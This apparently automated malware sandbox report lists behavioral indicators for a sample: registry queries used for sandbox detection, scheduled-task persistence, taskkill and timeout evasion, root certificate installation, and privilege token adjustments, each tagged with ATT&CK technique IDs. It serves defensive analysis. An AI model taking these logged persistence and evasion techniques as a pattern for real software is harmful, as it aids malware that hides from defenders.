Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	extd.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	extd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	xcLVIwmxi_ZLJsepaVLcueHv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	xcLVIwmxi_ZLJsepaVLcueHv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	xcLVIwmxi_ZLJsepaVLcueHv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	xcLVIwmxi_ZLJsepaVLcueHv.exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4980	schtasks.exe
5768	schtasks.exe
7004	schtasks.exe
352	schtasks.exe
6280	schtasks.exe
1552	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
6700	timeout.exe
6380	timeout.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
2312	taskkill.exe
5220	taskkill.exe
5352	taskkill.exe
1692	taskkill.exe
3048	taskkill.exe
7032	taskkill.exe
6744	taskkill.exe
5548	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU	mshta.exe
Key created	\Registry\User\S-1-5-21-941723256-3451054534-3089625102-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	wlanext.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Enable = "1"	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Size = "10"	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100"	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Factor = "20"	mshta.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe

Modifies data under HKEY_USERS 16 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	svchost.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{AB807329-7324-431B-8B36-DBD581F56E0B}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{e9de26a1-51b2-47b4-b1bf-c87059cc02a7}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LocalServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{47E6DCAF-41F8-441C-BD0E-A50D5FE6C4D1}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\PROGID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{da82e55e-fa2f-45b3-aec3-e7294106ef52}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{944903E8-B03F-43A0-8341-872200D2DA9C}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\VersionIndependentProgID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{50487D09-FFA9-45E1-8DF5-D457F646CD83}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\ProxyStubClsid32\ = "{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\InProcServer32\ = "%systemroot%\\SysWow64\\shell32.dll"	FileSyncConfig.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\FileSyncClient.FileSyncClient\CLSID\ = "{7B37E4E2-C62F-4914-9620-8FB5062718CC}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{390AF5A7-1390-4255-9BC9-935BFCFA5D57}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\VERSIONINDEPENDENTPROGID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{8B9F14F4-9559-4A3F-B7D0-312E992B6D98}\ = "IGetSelectiveSyncInformationCallback"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\SYNCENGINEFILEINFOPROVIDER.SYNCENGINEFILEINFOPROVIDER.1\CLSID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{4B1C80DA-FA45-468F-B42B-46496BDBE0C5}\1.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\\3"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.196.0921.0007\\FileCoAuth.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\" /cci /client=Personal"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{049FED7E-C3EA-4B66-9D92-10E8085D60FB}\TypeLib	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\INPROCSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\NucleusToastActivator.NucleusToastActivator\CurVer\ = "NucleusToastActivator.NucleusToastActivator.1"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\InProcServer32	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\*\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{679EC955-75AA-4FB2-A7ED-8C0152ECF409}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\ProgID\ = "FileSyncOutOfProcServices.FileSyncOutOfProcServices.1"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{F904F88C-E60D-4327-9FA2-865AD075B400}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{AF60000F-661D-472A-9588-F062F6DB7A0E}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Directory\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{2692D1F2-2C7C-4AE0-8E73-8F37736C912D}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\INTERFACE\{DA82E55E-FA2F-45B3-AEC3-E7294106EF52}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\InprocServer32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\ = "FileSyncOutOfProcServices Class"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{ACDB5DB0-C9D5-461C-BAAA-5DCE0B980E40}\ = "ILaunchUXInterface"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\odopen	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{5D5DD08F-A10E-4FEF-BCA7-E73E666FC66C}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\grvopen\ = "URL: OneDrive Client Protocol"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\ShellFolder	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{AEEBAD4E-3E0A-415B-9B94-19C499CD7B6A}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\VERSIONINDEPENDENTPROGID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{466F31F7-9892-477E-B189-FA5C59DE3603}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\ = "IFileSyncOutOfProcServices"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\DEFAULTICON	FileSyncConfig.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{0299ECA9-80B6-43C8-A79A-FB1C5F19E7D8}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{10C9242E-D604-49B5-99E4-BF87945EF86C}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\TYPELIB	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{F0AF7C30-EAE4-4644-961D-54E6E28708D6}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{5d65dd0d-81bf-4ff4-aeea-6effb445cb3f}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib	OneDriveSetup.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 0f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	Calculator.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4	Calculator.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	43	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	104	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
3548	WerFault.exe
4940	powershell.exe
4940	powershell.exe
4732	powershell.exe
4732	powershell.exe
4116	Sun0324aba28588c0.exe
4116	Sun0324aba28588c0.exe
4940	powershell.exe
4732	powershell.exe
3176	Sun03f5d51697d04.tmp
3176	Sun03f5d51697d04.tmp
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
1492	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2604	Explorer.EXE

Suspicious behavior: MapViewOfSection 16 IoCs

pid	Process
4116	Sun0324aba28588c0.exe
2252	UzYxXqOkTtDpwSezwVXY7Exr.exe
2252	UzYxXqOkTtDpwSezwVXY7Exr.exe
2252	UzYxXqOkTtDpwSezwVXY7Exr.exe
2208	extd.exe
5664	wlanext.exe
5664	wlanext.exe
5664	wlanext.exe
5664	wlanext.exe
5664	wlanext.exe
5664	wlanext.exe
3412	frbwjda
7012	frbwjda
4304	frbwjda
4880	frbwjda
7128	frbwjda

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
652	cler.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1180	Sun03d477f1a31.exe
Token: SeAssignPrimaryTokenPrivilege	1180	Sun03d477f1a31.exe
Token: SeLockMemoryPrivilege	1180	Sun03d477f1a31.exe
Token: SeIncreaseQuotaPrivilege	1180	Sun03d477f1a31.exe
Token: SeMachineAccountPrivilege	1180	Sun03d477f1a31.exe
Token: SeTcbPrivilege	1180	Sun03d477f1a31.exe
Token: SeSecurityPrivilege	1180	Sun03d477f1a31.exe
Token: SeTakeOwnershipPrivilege	1180	Sun03d477f1a31.exe
Token: SeLoadDriverPrivilege	1180	Sun03d477f1a31.exe
Token: SeSystemProfilePrivilege	1180	Sun03d477f1a31.exe
Token: SeSystemtimePrivilege	1180	Sun03d477f1a31.exe
Token: SeProfSingleProcessPrivilege	1180	Sun03d477f1a31.exe
Token: SeIncBasePriorityPrivilege	1180	Sun03d477f1a31.exe
Token: SeCreatePagefilePrivilege	1180	Sun03d477f1a31.exe
Token: SeCreatePermanentPrivilege	1180	Sun03d477f1a31.exe
Token: SeBackupPrivilege	1180	Sun03d477f1a31.exe
Token: SeRestorePrivilege	1180	Sun03d477f1a31.exe
Token: SeShutdownPrivilege	1180	Sun03d477f1a31.exe
Token: SeDebugPrivilege	1180	Sun03d477f1a31.exe
Token: SeAuditPrivilege	1180	Sun03d477f1a31.exe
Token: SeSystemEnvironmentPrivilege	1180	Sun03d477f1a31.exe
Token: SeChangeNotifyPrivilege	1180	Sun03d477f1a31.exe
Token: SeRemoteShutdownPrivilege	1180	Sun03d477f1a31.exe
Token: SeUndockPrivilege	1180	Sun03d477f1a31.exe
Token: SeSyncAgentPrivilege	1180	Sun03d477f1a31.exe
Token: SeEnableDelegationPrivilege	1180	Sun03d477f1a31.exe
Token: SeManageVolumePrivilege	1180	Sun03d477f1a31.exe
Token: SeImpersonatePrivilege	1180	Sun03d477f1a31.exe
Token: SeCreateGlobalPrivilege	1180	Sun03d477f1a31.exe
Token: 31	1180	Sun03d477f1a31.exe
Token: 32	1180	Sun03d477f1a31.exe
Token: 33	1180	Sun03d477f1a31.exe
Token: 34	1180	Sun03d477f1a31.exe
Token: 35	1180	Sun03d477f1a31.exe
